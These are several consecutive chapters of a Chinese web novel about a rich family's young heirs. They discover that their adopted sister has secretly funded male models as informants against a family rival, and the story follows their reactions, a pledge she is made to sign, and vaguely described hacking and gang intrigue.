转眼,一道身影从树顶嗖得一下窜下了树,并以迅雷不及掩耳之势扶起了掀翻的桌椅。 姜花衫理了理微乱的刘海,面带微笑。 “我们还是谈谈吧?” 沈清予抬头看了看高耸擎天的桂花树,又看了看眼前娇滴滴的少女,整个人都沉默了。 姜花衫见三人一动不动,赶紧朝张茹使了个眼色,“张妈,你不是做了甜汤吗?快端来给少爷们尝尝啊~” “哦哦。”张茹还没缓过劲,一边往厨房走一边打量沈归灵。 姜小姐是犯天条了吗?怎么连阿灵少爷也喊打喊杀的? 眼前三人没有一点反应,只凉凉看着她表演。 这气氛…… 只要你不尴尬,尴尬的就是别人。 姜花衫仿若未察,笑着张罗高止和雷行,“你们两个愣着做什么啊?高保镖,还不快给你家少爷搬椅子?雷管家,你站的那么远做什么?快把你家少爷推过来啊!” 高止和雷行不约而同打了个冷颤。 见两人冥顽不灵,姜花衫不动声色掏出小可怜放在桌面上,指尖有意无意弹着龟壳。 高止二话不说,上前扶正椅子,见沈兰晞没动,又跑到他身边小声规劝,“少爷,有梯子的时候就赶紧下,不然姜小姐又要发癫掀桌了。” “……”沈兰晞侧头看了高止一眼,拉过椅子坐下。 雷行见状,立马推着沈归灵占据C位。 沈归灵,“……” 沈清予用脚勾起竹椅,双手抱胸,“聊什么?又想说这是你的兴趣爱好?” “不是不是,那是我逗你玩的。” 兴趣爱好那都是忽悠沈清予的,现在沈兰晞和沈归灵都在,自然不能再用这套说词了。 不过,这么短的时间她还没想好怎么一次忽悠三个。 姜花衫有些为难摸了摸额头。 沈清予没忍住,又被气笑了,合着他就是这里面最好忽悠的? 沈兰晞不愧是家主继承人,一下就看出了问题本质,出声警告,“想不出借口就省省力,把心思放在认错和改正上。” 姜花衫白了他一眼,认错是不可能的,改正更是不可能。 沈归灵,“看来,我们还是人微言轻管不住,请爷爷吧。” “别啊!”姜花衫立马停止翻白眼。 打蛇打七寸,这件事姜花衫别的不怕,就怕沈庄知道。 之前,她将三号画室的秘密和盘托出,沈庄就明令禁止她不准再参与任何有危险的调查,她应下了。 但后来,剧情被强行修复,沈庄拯救的女生再次落入深渊,剧目又更新了最新规则。 -【世界剧目规则四:本世界剧情不接受除剧目之门以外的任何力量更改。】 没办法,她只能靠自己慢慢查。 男团计划已经进行了三年,现在正是收网的时候,如果这件事捅到沈庄面前,以老家主的聪明才智一定有办法顺藤摸瓜查到真凶,但姜花衫最怕的就是这个。 因为如果沈庄强行介入,剧情一定又会强行修复,凶手的线索会全部转移,就像三年前那些女生一样。 而她为什么这么笃定只有自己可以改变呢? 因为南湾‘路西法一号’事件的影响力还在,她和沈归灵合力绞杀白峥的剧情并没有被纠正,主线偏离数据还是10%。 所以这件事决不能再出纰漏。 姜花衫故作伤心,跳过C位的沈归灵,泫然欲泣望着沈清予和沈兰晞,“你们别跟爷爷说,这件事要被他知道,我形象全毁了,爷爷以后肯定就不喜欢我了。” 之前沈兰晞和沈清予教训她时还特意关门,这说明什么,说明他们不打算声张。姜花衫就是闻着味才有恃无恐,没想到张妈直接把阴险狡诈的沈归灵请来,差点端了她的老窝。 沈清予见她认错态度良好,将一沓流水扔在桌面上,“不想爷爷知道也行,这些人全断了。” “断!”姜花衫一口应下,“包断的。” 沈清予脸色稍缓,“这还差不多。” 沈归灵眼梢微挑,不着痕迹扫了沈清予一眼,“我竟不知道你这么好骗的?” 姜花衫,“……” 沈清予眉头微蹙,想骂人忽然反应过来,眯眼看向姜花衫,“你骗我?” 姜花衫瞪眼,“没有!” 嘴上说没有,心里的小人却好似踩带了块烫脚的火炭,鸡飞狗跳。 不妙不妙!沈清予竟然听信沈归灵的话反过来质疑她了? 最好骗的小孩变聪明了? 姜花衫转头警告沈归灵,你少说话啊,别忘了你的清白是谁保下的? 奈何沈归灵完全不看她,拿起桌上的一沓资料细细审查。 姜花衫威胁无果,转头看向沈兰晞,“我改!我包改的!” 沈兰晞盯着她审视了片刻,表情严肃,“除了给他们花钱,还做过什么?” 还指导了他们怎么哄富婆开心。 姜花衫表情无辜,“没做什么啊,我就聊天啊。” 沈清予语气凉凉,“他们没发小视频?” 发了!各种胸肌、腹肌、人鱼线,简直就是男菩萨。 她眨了眨眼,“什么小视频?听不懂你在说什么?” 沈归灵抬头打量她,“什么福利都没有,你一年就给他们花了一千万?你图什么?” 质疑声刚落,两道灼热的目光像激光一样扫射过来。 “……呵呵。”姜花衫顶着死亡凝视,木着脸,破罐子破摔,“图我十八岁以后的快乐。” “……” 下一秒,死一般的宁静在花香中蔓延。 …… 第248章 不平等条约 沈归灵最先反应过来,眼里的温柔收敛的干干净净,“想得还挺长远。” “这叫养成系快乐,你们……”姜花衫试图解释,突然发现除了沈清予、沈兰晞脸色阴沉得可怕,尤其是沈清予,拳头都握紧了。 姜花衫警铃大作,往后贴紧座椅,“你们……怎么都这么严肃啊?” 沈兰晞看着她头大,捏了捏眉心,“是不是会改?” 姜花衫点头,“改。” 沈兰晞,“行,签份保证书。” 又是保证书,姜花衫憋着一口气,强颜欢笑,“签。”说罢,转头招呼张茹,“张妈,给少爷们拿纸笔。” 张茹火急火燎从厨房跑去书房拿了纸笔递给沈兰晞。 沈兰晞接过纸笔,下笔有神,洋洋洒洒写下十条守约。 姜花衫正准备接,沈兰晞将保证书递给沈归灵,“你看看还有什么要补充。” “……” 沈归灵扫了一眼,拿过笔,加了一条又递给沈清予,沈清予一气呵成直接补齐了二十条,确认没有遗漏后递给姜花衫。 姜花衫木着脸,接过保证书。 嗬!好歹毒! 前面三条,要求解除多有包养关系,禁止进入色情会所,没收作案手机、银行卡。 后面一条比一条过分,放学半个小时内回家;出门游玩要报备时间、地点、人物;晚上九点为门禁时间,晚于该时间禁足一个月;限制一切高消;考进年级前十…… 这字迹行云流水入木三分,一看就是沈兰晞的馊主意,姜花衫有些不满,“你别趁火打劫啊?这跟考进前十有什么关系?” 沈兰晞,“你就是太闲了才一天到晚整幺蛾子,多读点书消耗一下你的精力。” 姜花衫正想讨价还价,沈兰晞神情淡淡,“不接受也没关系,让爷爷跟你谈。” “接受。”姜花衫白了他一眼,又继续往下看。 忽然,她脸色一变,目光聚焦第十一条。 【二十岁之前不准谈恋爱。】 这字,藏锋处微露锋芒,露锋处又显含蓄,姜花衫斜眼睨了沈归灵一眼,找茬是吧,她不过就说了句十八岁的快乐,他连她二十岁都封杀。 沈归灵压根不看她,继续一直在翻看流水。 姜花衫忍着脾气,后面的条条框框就更炸裂了,什么戒懒戒癫,兄令如山都出来了。 这哪是保证书?简直就是国际大战的不平等条约! 姜花衫把纸拍在桌面,“签不了。” 沈清予点头,“成,想好怎么跟老爷子解释你的十八岁快乐吧。” “……”姜花衫咬牙,拿起笔含恨签下自己大名,“行了吧?” 沈清予,“再盖个手印。” 姜花衫不情不愿,“我又不做生意,哪来的印泥?” 沈归灵笑了笑,“老爷子善丹青,沁园应该有。” 这会儿轮到姜花衫气笑了,“张妈,去画室把我的红色颜料拿来。” 张茹诶了一声转头跑进画室拿颜料,三位少爷出息了,这还是她第一次看见姜小姐被治的服服帖帖。 颜料拿来,姜花衫正准备画押,沈兰晞忽然想到什么,打断她,“等等。” “又怎么了?” 沈兰晞,“高止,拿去复印三份?” “是。” 高止抢过姜花衫手里的纸飞快跑了出去,没过几分钟就一份保证书就变成了四份。 姜花衫眼前四张平铺的保证书头都是大的,人家签合同都是一式两份,她倒好,一式四份? 她木着脸,挨个按下手印,“这下行了吧?把这些流水照片还我!” 沈清予点着桌面,“你的手机,银行卡。” 姜花衫万万没想到,机智如她竟然阴沟里翻船,她起身踢开椅子,一路踢踢踏踏上了绣楼,过了一会拿了一张电话卡和银行卡下来。 “诺,都在这里了。” 沈清予伸手准备拿做工具,姜花衫忽然反悔,一把抽回银行卡,可怜兮兮,“电话卡给你们,我再也不联系他们了,银行卡就留下吧?我好歹也是沈家的小姐,身无分文会被人耻笑的。” 沈归灵合上流水,抬头看着她,“这三年,沈清予前后给了你差不多一千万,兰晞哥差不多五百万,但这里的流水粗鲁估计起码有两千五百万,除了你平时衣服开销三十万还有一只1040的护手霜,其余都被你拿去玩养成了。” 姜花衫嘴角抽了抽,“你什么意思?” 沈归灵眼眉温柔,“意思你很好养,一年十万就够了,” 姜花衫,“……” 沈清予一把抢过银行卡,人麻了!一千万就换了个1040的护手霜。 沈兰晞也是一脸错愣,他每次给姜花衫的数额都不大,她要就给了,没想到三年林零总总被她薅了五百万。沈清予好歹还有支护手霜,他呢?连个五百块的唇膏都没有。 一句话,把两个人的怒火挑到极致。 沈兰晞站起身,随后抽走一份保证书,“我希望你能遵守契约精神。” 沈清予就没这么好脾气了,拿起一份保证书卷成纸筒对着姜花衫的额头敲了敲,“再敢耍滑头,我真揍你。” 姜花衫拍开他的纸筒。 沈归灵看了雷行一眼,雷行立马上前收了一份保证书。 目的达成,三人一起出了菊园。 张茹在旁边一直不敢作声,等人走远了才小心翼翼走上前,“姜小姐,还喝甜汤吗?” 姜花衫看着眼前的不平等条约,懊悔拍了拍额头,“大意了……” 没关系,等过了这段剧情,谁还管得了她? * 出了菊园,走到游廊分叉开口,三位少爷同时停了下来。 沈兰晞神情淡淡,“她绝对不会改。” 沈清予从来没这么认可过沈兰晞,点头附和,“她绝对是阳奉阴违。” 沈归灵勾了勾嘴角。 沈兰晞思忖片刻,“我去找小姑姑谈谈。” 这几年沈娇对姜花衫的偏爱也是有目共睹,长辈里,除了沈庄,姜花衫最听的就是沈娇的话。她做出这么离经叛道的事,总的有个长辈盯着,思来想去,沈兰晞觉得沈娇最适合。 沈清予点头,正要转身,忽然想到什么,低头看向轮椅上少年,“那小混账讹了你多少钱?” 沈归灵,“见笑了,我不比两位,没那么多闲钱。” “……” …… 第249章 相互试探 第一次见有人把没钱说的这么理直气壮。 沈清予懒得跟他扯,冷笑了一声,掉头就走。 沈兰晞脸色淡淡,朝沈归灵微微颔首往廊下而去。 待两人走远,雷行弯下腰小声提醒,“少爷,余笙小姐还在湖心亭等您。” 沈归灵想了想,伸手说道:“你去告诉余小姐,就说我腿脚不便恐有照顾不周之处,请她回前厅休息。” 雷行会意,立马把手里的保证书递上。 沈归灵接过看也没看一眼,推着轮椅径直回竹园。 雷行看着少年的背影,好像明白了什么。 原来阿灵少爷并不中意这位余小姐。 * 沈归灵回到竹园,园里的阿姨立马递上拐杖,他拄着拐杖回了房间。 其实他的腿恢复的很好,早在去香山祭拜的时候就能走了,坐个轮椅就是想省事。 沈归灵打开电脑,随意输入了几个代码,电脑跳回了黑色界面。 他转眸看着桌上的保证书,指尖来回在鼠标滚轮上滑动。 这么苛刻的条约都签,反常得不像话。 这里面肯定有猫腻。 少年垂眸扫过键盘,脑海中依次浮现流水账单上的所有交易编码,明明大脑还在思考要不要多管闲事,手就已经不受控制占领了键盘…… * 冬园。 沈兰晞专程登门拜访,把沈娇吓了一跳。 这大侄子可不是热络的人,只怕是无事不登三宝殿。 虽然沈娇已经有了心理准备,但当沈兰晞告知来意时,她还是感觉两眼一黑,天都要塌了。 “竟然还有这种事?” 沈兰晞,“小姑姑,这件事如果传出去难免会落人口舌,衫衫叛逆还不服管教,若她不知悔改闹到爷爷那去只怕谁都讨不了好。” 沈娇表情严肃,“我知道了。说起来我实在惭愧,这种事还要你们来告诉我,放心,我待衫衫跟绥尔一样,这件事我会处理好。” “姑姑费心了。” 得了沈娇的保证,沈兰晞也算放心了,寒暄了几句就起身告辞。 傅绥尔一直躲在房间听动静,等沈兰晞出了冬园才慢慢溜出房间。 正厅里,沈娇靠着沙发,眉头紧蹙不知在想什么? 傅绥尔畏畏缩缩探头,“妈,你怎么了?兰晞哥怎么来了?他跟你说什么了?” 沈娇抬头,点着她,“你,进来。” * 沈清予被砸了一身果脯,回家洗了个澡,此刻正神清气爽在阳台晒太阳。 顾赫手忙脚乱一顿操作后,把发烫的手机递给他。 “少爷,名单里的人都在这里了,我已经假冒姜小姐的名义重新添加了好友。” “看看。” 纯聊天,骗鬼的话,谁信? 沈清予接过电话,这一排下来形形色色的头像,不是精修露脸的就是抓喉结秀腹肌的,头像都这样了,聊天内容还能干净到哪去? 他冷笑了一声,挑了个秀腰间纹身的。 【今晚出来陪我。】 发送。 对方显示正在输入,秒回。 【姐,你要这么侮辱我,咱们还是互删吧。当初来往的时候我们可说好的,你有深爱的老公,我卖艺不卖身,咱们就纯聊天,咱们就聊友。】 沈清予,“……” 还真只聊天? 沈清予不信邪,又挑了个捂着半张脸秀手上腕表的装逼模。 【给你五百万,今晚出来陪我。】 对方没有回,直接把他拉黑了。 沈清予表情古怪,挨个骚扰,出人意料的是,竟然没有一个聊骚的!不是拉黑就是劝‘她’不要跟家里大哥置气的。 有那么一瞬间,沈清予觉得他们不是男模,是楷模。 * 菊园。 姜花衫趴在床上,两只小腿欢乐地在空中一摇一摆。 【WOrd妈呀:天王盖地虎】 【狼高弟弟:小猫抓老鼠】 【狼高弟弟:你的锅】 【WOrd妈呀:不!是你的锅】 【狼高弟弟:!】 【狼高弟弟:姐,真是你!好险啊!你老公查过来了!】 姜花衫一脸晦气,手指劈里啪啦。 【WOrd妈呀:你老公】 【狼高弟弟:……】 姜花衫早防着有天会翻车,跟二十几个男团都设立了不同的对话暗号,三傻想查她,一时半会还没那么容易。 不过既然已经被发现了,她得想办法快点推进才行。 【狼高弟弟:姐,方眉这段时间来鲸港的次数越来越勤了,她还透露最近要去见一个秘密人物,还说等不了多久她就可以回鲸港定居了。】 秘密人物,这四个关键词立马引起了姜花衫的注意。 三年前方眉被迫离开鲸港,中间曾断断续续来找过姜花衫几次,但都吃了闭门羹。后来她也学乖了,每次来也不说见谁,放下礼物就走。 这也是方眉的精明之处,她离开鲸港时对外说是舍不得故土,想回老家休养,但每隔一段时间她又会假借看病的名义来鲸港。 沈家这么大的门庭不可能敲锣打鼓特意撇清关系,方眉就靠这些门道唬弄住了身边的富太太。 不过,有一点姜花衫一直没弄明白,到底是谁在资助方眉,从梁叙透露的情报,方眉每次来鲸港的开销都不小,虽然比不上身边那些富太太,但也完成超出了她本身能承受的能力范围。 难道就是这个秘密人物? 可方眉明明都已经被赶出沈家了,为什么背后的人还要资助她? 【狼高弟弟:姐,我不想掺和你们之间的事,我只要钱。上次我们说好的,你再给我一千万,我帮你查出这个人是谁,还算数吧?】 姜花衫眼皮一跳,提款机们都造反了,她上哪去凑一千万? 见姜花衫不回话,梁叙的消息一直跳。 【狼高弟弟:姐,你怎么不说话?方眉现在已经很信任我了,还答应这次带我一起去见这位神秘大人物。】 【狼高弟弟:姐?】 姜花衫一想到要凑钱头都大了,只能先敷衍。 【WOrd妈呀:先缓缓吧,我老公现在在查我,我一时半会弄不到这么多钱。】 为了消除梁叙的怀疑,姜花衫还专门立了个已婚富婆的人设,不差钱。 【狼高弟弟:好。姐,你可要抓紧啊。】 【WOrd妈呀:行了,等我主动联系你,平时别跟我发消息了。】 姜花衫关了聊天框,直接把梁叙拉黑。 这已经是她的习惯了,每次只有她想联系梁叙时才会把他从黑名单放出来。 “啊啊啊!”扔了手机,姜花衫抱着枕头哀嚎了一声。 缺粮断水,上哪去骗一千万啊? * 与此同时。 梁叙颤巍巍递上手机,“她……她下线了。” 昏暗的房间密不透风,手机屏幕折射出的微弱光线正好照在梁叙的脸上,那张脸鼻青眼肿,右眼眼珠还在充血。 黑暗中有人接过手机看了一眼,“打过去。” 梁叙抱头,跪在递上,“她不会接的,这三年她前前后后已经换了五十个号跟我联系,只能等她下次主动联系。” “咔!” 火舌跳动,男人点了一根烟。 “把他拖下去。” 梁叙吓傻了,边喊哭着,“我知道的都说了!其他的我真的不知道了,我什么都没做,求求你们饶了我!啊啊!呜呜……” 这里不会有人给他机会,梁叙最后被人捂着嘴拖了出去。 男人盯着手机记录看了一会儿,思忖片刻掐灭手里的烟,从怀里掏出手机。 “是我。已婚、在鲸港有钱有势,先按这三个条件把鲸港富太太都筛选一遍。” …… 第250章 沈家荣耀 余斯文与沈庄在主厅足足聊了两个小时才请辞,沈庄客套请两人留下吃便饭,但被余斯文以公务繁忙婉拒了。 南湾渡口被炸,瞒得了别人,瞒不住A国另外几个财阀家族,大家对沈家这次造成的麻烦颇有不满,要求在沈庄出访S国之前召开高层首脑会议。 所谓首脑会议,是由A国老牌家族和新贵财团以及A国政府代表共同出席政治会议。 当前国际局势,A国已经和S国签署了和谈协议,白家女王亲自致函,邀请沈庄参加白家家族的百年大庆。 余斯文这次登门主要是跟沈庄沟通下个月出访S国的细节,以及传达首脑会议的核心内容。 而沈庄已经提前知道了余斯文的来意,才刻意安排了二房、三房一起接待。 等余斯文走后,沈执进屋换了一轮新茶又退了出去。 沈谦率先开口,“爸,一定是傅家搞的鬼,傅嘉盛近来和大法院的几个大法官走的很近,金山两任州长相继下马也都是傅家的手笔,南湾渡口的事牵连重大,只怕他们已经查到什么了。” 沈庄还没表态,沈让不满,“查出来又怎么样?傅嘉盛敢动吗?我暗堂可不是小小州长之流。” 沈谦面色不显,转头看向沈让,“老四,人狂必有祸,把柄留多了容易翻船。” “行了。”沈庄出声打断两人。 沈澈主动转移话题,“爸,首脑会议一般都是由国会发函,余斯文特意来沈园一趟是在向咱们示好?他最近几个实施的几个新政刻意拉拢新贵财团,已经引起的不少民愤。” 沈庄不置可否,“还有一年就是新一轮总统选举了,他也得为自己留条后路。” 众人神情微动。 沈庄摆摆手,“这个人不简单,再看看。” 这是不想再深究的意思。 沈渊会意,略微思考了一会儿,转过话题,“爸,您真要亲自出访S国吗?这往后一个月天气越来越冷,您的老寒腿只怕受不住,不如让大哥代您去吧?” 沈澈和沈让不动声色看了沈渊一眼,真是!算盘珠子都崩人脸上了,二房倒是敢想,白家百年盛宴,女王亲自发函,沈谦要有多大的脸才能代表沈家去? 两人不语,默默看向沈庄。 沈庄摇头,“白峥死在南湾,南湾被炸,这都不是小事,还得我亲自去一趟。” 一锤定音,欢喜各不相同。 沈谦点头,“S国国情复杂,白家人都不是省油灯,还是有人陪同的好。” 沈庄,“这个我已经想好了,就从那三个小的里面挑一个随行。” 话落,沈谦和沈渊眼睛同时一亮,原以为老爷子一定会选沈兰晞,没想到是挑一个,这么说来自己的儿子都有机会。 沈让和沈澈对视了一眼,安静喝茶。 * 从沈园出来后,余笙一路上都闷闷不乐,余斯文处理了几封紧急邮件,终于空闲了下来,见她还没有从负面情绪里出来,随手递上一杯咖啡。 “怎么?还在为沈归灵的事情生气?” 余笙立马回神,苦笑着接过男人手里的咖啡,“爸爸,我觉得他不喜欢我。” 她的情绪明显低落。 余斯文笑了笑,抬手拍了拍女儿的肩膀,“笙笙,男人不可能一直只喜欢一样东西,所以他们的喜欢永远在贬值。你应该自信一点,难道就因为一个男人不喜欢你就怀疑自己吗?” 余笙摇头,“我当然不会。可如果他不喜欢我,我们的计划不就白费了吗?” 余家没有老牌新贵家族的雄厚势力,要想快速融入A国上层圈就必须要借力,而沈归灵就是最好的人选。 虽然私生子的名声不好听,但也正是因为有瑕疵,余家才有可能联姻。 A国总统四年一换,沈家门楣百年不变,沈归灵要不是出身不正,以他的才学品貌早就被人抢走了。 余笙作为总统千金,时常出现在大众视野,A国国民对这位总统千金的认可度很高,余斯文也对她寄予了很高的期望。 在这样的环境下成长起来的孩子,很能明确自己想要什么,所以当余笙意识到沈归灵会拒绝自己时,她心里极为不适应。 一是:太突然了。明明之前相处还好好的,虽然不亲近但还保持礼节上的交往。 二是:鲸港这些贵族少爷里,沈归灵是她唯一看上的。 她甚至都有些庆幸沈归灵只是个私生子。 余斯文看出了女儿的郁结所在,耐心开导,“笙笙,你未必要让沈归灵喜欢你,只要让他看出你与别人不一样,让他看到你的价值,他一定会被你吸引。” 余笙面露迟疑,“他会靠近不喜欢的人吗?” 余斯文点头,“前提是,你得让他看到价值。” 余笙想了想,还是不太明白。 余斯文,“笙笙,你知道为什么总有人说,顾、萧之流五族新贵不敌沈周苏傅一族吗?” 余笙摇头。 余斯文,“世家三代为门第,五代为财阀,九代为家族,十二代才能称为世家。周、傅、苏三族自祖上起就是大官、将军,世家可当。而沈家,百年说的只是他家庄园门槛新换的过门石,沈家族祠在襄英,祖先百代,代代都是可单开族谱之辈。襄英整个县往上一百年,都是沈家家奴。” 余笙大为震撼,从来只听人说沈家不凡,竟不知道是这等风光! 余斯文语重心长,“这种世家出来的孩子怎么可能耽于情爱?家族荣耀和个人价值才是他们的衡量尺。所以你明白了吗?男人的喜欢不值一提,甚至你的美貌也不值一提,真正能撑起你的野心的只有你脑子里的思想。” “……” …… 第251章: 妈妈才是你的流星 晚饭过后。 姜花衫抱着小可怜在院子里看星星。 地上的竹椅一晃一晃,天上的星星一闪一闪。 她看得痴迷,嘴里喃喃自语,“一千万,不知道对流星许愿管不管用?” “怎么了,小脸皱得都快跟苦瓜一样了?” 沈娇左手拎着钻石包,右手拎着傅绥尔,如女王临朝跨进了菊园小院。 “干妈?”姜花衫一下坐直身体,目光扫过沈娇背后的傅绥尔。 傅绥尔对她做了个抹脖子的手势,又指了指兰园的方向。 姜花衫秒懂,立马站了起来。 沈娇状似没看见两人使眼色,路过姜花衫时轻轻拍了拍她的肩膀,“别紧张,不是什么大事。” 姜花衫嘴角抽了抽,她现在对这句话过敏。 沈娇越过她去前厅,语调听不出喜怒,“别瞪眼了,你们两个都进来。” 姜花衫和傅绥尔对视了一眼,默默跟了进去。 沈娇翘着腿,保养得体的双手交叉叠覆放在膝盖上,身姿倾斜,剪裁得体的腰间如琵琶倒挂。 “坐吧。” 两人坐好,沈娇目光落在姜花衫身上,“兰晞都跟我说了。” “……” 姜花衫闭了闭眼,正想解释,沈娇摸了摸头发,“行了~都说了不是什么大事,人嘛,活着总要有点乐子,正常。” “?” 姜花衫认错的话都到嘴边了,生生咽了回去,一脸错愣看着沈娇。 她现在身体年龄只有十六岁,却包养了二十个男团,这种事不管放在谁家父母一定会觉得天塌了。 姜花衫有些不敢相信,“干妈,你真是这么想?” 傅绥尔也是一脸懵圈,母亲在冬园对她严刑拷打了这么久,还以为是气极了,搞了半天能接受啊? “你们这是什么反应?”沈娇撩着眼皮,“我也年轻过,什么世面没见过?不就是集邮男人吗?多大的事?现在是时代不一样了,要搁在以前,你们大小也是有封地的县主,养几个面首又不是造反,不值一提。” “……” 姜花衫和傅绥尔的沉默震耳欲聋,两人对视了一眼,嗖得一下窜回沈娇身边,一左一右搂着她的胳膊。 “干妈,你太牛了!” “那是,搁以前我妈就是长公主,我们跟着吃香的喝辣的。” 沈娇左右斜睨了一眼,“长公主是当不了了,不是还有没长脑子的庶姐吗?” 姜花衫,“那就是护国公主!” 沈娇被哄成了翘嘴,拍了拍她的额头,“护国护不了,护你们倒是绰绰有余。”说罢,娇女王抬起下巴,击掌三声。 不多时,冯妈领了个女人走进主厅,那女人看着跟张茹差不多大,穿着黑白套装,长的白白净净。 傅绥尔好奇打量,“妈,她是谁啊?” 沈娇,“她是我给你们找的老师。” “老师?”傅绥尔一下没反应过来,“教什么?” 沈娇捂着鼻尖笑了笑。 女人看了沈娇一眼,得了授意恭敬上前,自我介绍,“两位小姐好,我叫孟乐琪,以后负责两位小姐的性学启蒙,两位小姐不介意的话,可以叫我孟老师。” 姜花衫猝不及防,转头看向沈娇。 沈娇迎上她的目光,眼神平和包容,“我说过,我的女儿有犯错的资本。所以,我不会用规矩束缚你们,要求你们应该活成别人期待的模样。你们还小,对未知的事物好奇是正常的,与其阻止封锁你们的好奇心,不如给你们最正确的指导,好好学,一定要保护好自己。” 姜花衫忽然觉得眼角有些酸涩。 沈娇看出了她的窘迫,抬手擦了擦她的眼角,“其实这些早该教你们了,只是作为母亲总希望你们能在象牙塔里多待一会儿。” 姜花衫点头,“我明白。” 沈娇笑了笑,回头搂住傅绥尔,言辞殷切,“妈妈也年轻过,也叛逆过,养儿方知父母恩,现在想想,我小时候做的那些事你们爷爷恨不得把我掐死,可父女一场最后也都只是纵容。” 其实,在得知姜花衫的所作所为,沈娇的第一反应也是震怒,和所有人一样,她觉得这是私德败坏。 可在询问傅绥尔的过程中,她感受到了自己的咄咄逼人,那一刻她好像看到年轻时的自己和沈庄在对峙,她变成自己最讨厌的父母。 也是那一刻,她忽然抽离了出来,共情了自己也共情了沈庄,所以那句养儿方知父母恩就是她内心最大的触动。 傅绥尔看着沈娇湿润的眼眶,紧紧抱着她的胳膊。 沈娇不想太煽情,懒懒甩开两人,“好了,好了,都撒手,我胳膊都抱疼了。” 姜花衫和傅绥尔笑着松手。 沈娇转头从钻石包里拿出一张黑卡递给姜花衫,“以后想要什么跟妈妈说,妈妈才是你的流星。” 姜花衫愣了愣。 “拿着,绥尔也有。”沈娇直接把卡塞进她手心。 傅绥尔连忙点头,“嗯,托你的福,我妈刚给我的。” 姜花衫看着手里的黑卡,心底的情绪却像洪水泛滥一样久久不能平息。 此刻的温暖善意那么具象,她怎么能相信眼前的她们只是一串冰冷的文字符号呢? 沈娇摸了摸她的头,“这件事你也别怪兰晞他们,他们也是关心你,你做出这种事如果他们对你不闻不问那才叫人心寒。” 这个道理姜花衫自然也是明白的,不然也不会认怂签下不平等条约。 平心而论,如果不是包养男团这件事另有隐情,早在沈娇为她请来老师那刻她就已经低头认错了。 姜花衫点头,“我明白。” 沈娇欣慰笑了笑,语调一转,看向一旁的孟乐琪,“从这个星期开始,你每周给她们上三节课,课程安排好提前发我一份。” “好的,沈小姐。” 沈娇摆摆手,冯妈领着孟乐琪出了菊园。 …… 第252章 暗中守护 阳台月影晃动。 电脑的数据代码一直不停跳动。 沈归灵转身倒了杯热水的时间,五十二个账号依次被锁定。 “……” 少年眼梢微挑,倒是小瞧她了,猜到会有后手,没想到是无影手。 沈归灵低头喝了一口热水,慢慢坐回椅子,单手在键盘输入了几个命令,五十二个账号同时跳出对话框。 他随意扫了一眼,眼里的温和就散了个干净。 这叫没什么福利? 这叫什么都没做? 五花八门的小视频应接不暇。 她这小日子只怕过的比S国女王还滋润。 “……” 短短一分钟,自认为心理强大的少年就被无语了两次,正当他犹豫要不要继续查下去时,其中一个账号聊天记录引起了他的注意。 【姐,我知道方眉暗中来往的那个人是谁了!】 【?】 【是南湾县秘书长,沈谦。】 【。】 【姐,钱已经收到了,您还要继续查吗?】 【嗯。】 【姐,这是方眉近期走动的太太名单,另外,昨晚我趁她睡着查了她的手机,拿到了那个男人的联络方式。】 【1XX-XXXXXXX】 【嗯,钱已经转过去了。】 【姐,还查吗?】 【查】 沈归灵表情瞬间凝重,她在查方眉?查自己的母亲? 为什么? 沈归灵放下水杯,逐个扫过52个跳动的界面,一个巨大的树状分析图在脑海中不断推演扩散。 忽然,他眼睑颤动,黑色的眼眸掠过一道暗涌。 二十个男团后面都有一个富太太,而这些富太太都与方眉有不同程度的交集,无巧不成书,这二十个富太太都曾出席金湾那场夜宴,当时候场时他曾看到了接待手里的邀请名单,这些富太太都是跟随自己的丈夫一起入席的。 难不成姜花衫也知道自己妈妈跟沈谦有首尾? 沈归灵的心情忽然变得有些复杂,这件事他一早就知道了,以前也没觉得怎么?但不知为何莫名就有些膈应。 难怪她总对二房阴阳怪气,对他也没个好脸色。 但还是说不通。 为了查方眉布这么大的局,甚至大逆不道在线指导男模怎么勾引方眉,这怎么看都不像是在意方眉,更像是防备。 还有一点,她明明已经查出了沈谦却还继续查,这明显是还有别的怀疑。 她到底在怀疑什么? 十三岁就敢布这样的局,真是…… 胆大包天。 “滴滴滴滴——” 这时,五十二个账号同时发出警报。 沈归灵眼眸微暗,黑曜的瞳孔倒映着满屏数据。 被人追踪了? 沈归灵垂眸,抬手将水杯拂到一边。 * 与此同时的鲸港边郊。 某废弃钢厂。 男人手里夹着雪茄,两只脚架在窗台上,背对着生锈的铁门。 “老板。”穿着黑背心的光头男从外面走了进来。 男人弹了弹烟蒂,声音低沉,“查到线索了?” 光头扣了扣反光的脑门,朝身后喊了句,“你他妈自己进来说啊!” 话音一落,一个带着眼镜的少年走了进来,“老板,数据销毁了。” 男人弹烟灰的指尖微微一顿。 少年推了推镜框,“对方明显早有防备,我们十个人查了二十几个小时,数据库刚建好对方就反应过来了。他们不仅销毁了所有账号,还入侵了我们的数据端,老板,我们的位置暴露了。” 男人抬手,勾了勾手指。 光头会意,对着少年一拳揍了过去。 少年偏了偏头,咬牙吐出嘴里的血水,“老板,我们得赶紧撤退。” 男人,“钱已经转到你账户了。” 少年扶正眼眶,嘴角微笑,“谢谢老板,任务已经结束,我先回去了,明天学校还要考试。” 男人摆摆手,少年转头出了房间。 光头看向男人的背影,“老板,对方来头不小。” “要没点本事也不敢查到我们头上。让他们别打了,这么看来那小白脸还得留着钓鱼。” “是。”光头转身出了房间。 男人弹飞雪茄,从怀里掏出手机,点开特殊界面,飞快输入:【线索断了,我怀疑是你身边的人,你排查一下。】 过了一会儿,有消息回复。 【OK】 * 竹园。 “阿灵少爷?”雷行轻轻敲响主卧房门。 过了一会儿,房门从里面打开,沈归灵拄着拐杖,神情自若,“怎么了?” 雷行,“老爷子请您去前厅。” 沈归灵看了看手表,“这个时候?有说因为什么事吗?” 沈庄的作息很规律,一般晚上九点就已经入睡了,但现在已经九点一刻了。 雷行摇头,“沈管家只说去一趟没说理由,不过我看见沈管家后来又去了梅园。” 闻言,沈归灵也没有再问,吩咐雷行把轮椅推来。 因为腿脚不便,沈归灵赶到前厅的时候,沈兰晞和沈清予都已经到了,一左一右正在陪沈庄说话。 “听说大清早你们又在菊园闹起来了?闹什么啊?沈清予你是不是又去欺负小花儿了?” 沈庄问话的时候,沈归灵正好推着轮椅进了屋。 沈清予瞥了沈归灵一眼,又懒洋洋看向沈庄,“老爷子,我求求您明察秋毫吧!一世英名别毁在偏心眼儿上。” 沈庄拿起拐杖作势要打,沈归灵推着轮椅走到跟前,“爷爷。” “乖。”沈庄面色稍缓,收了拐杖,“既然都到齐了,我就说说我的意思吧。” 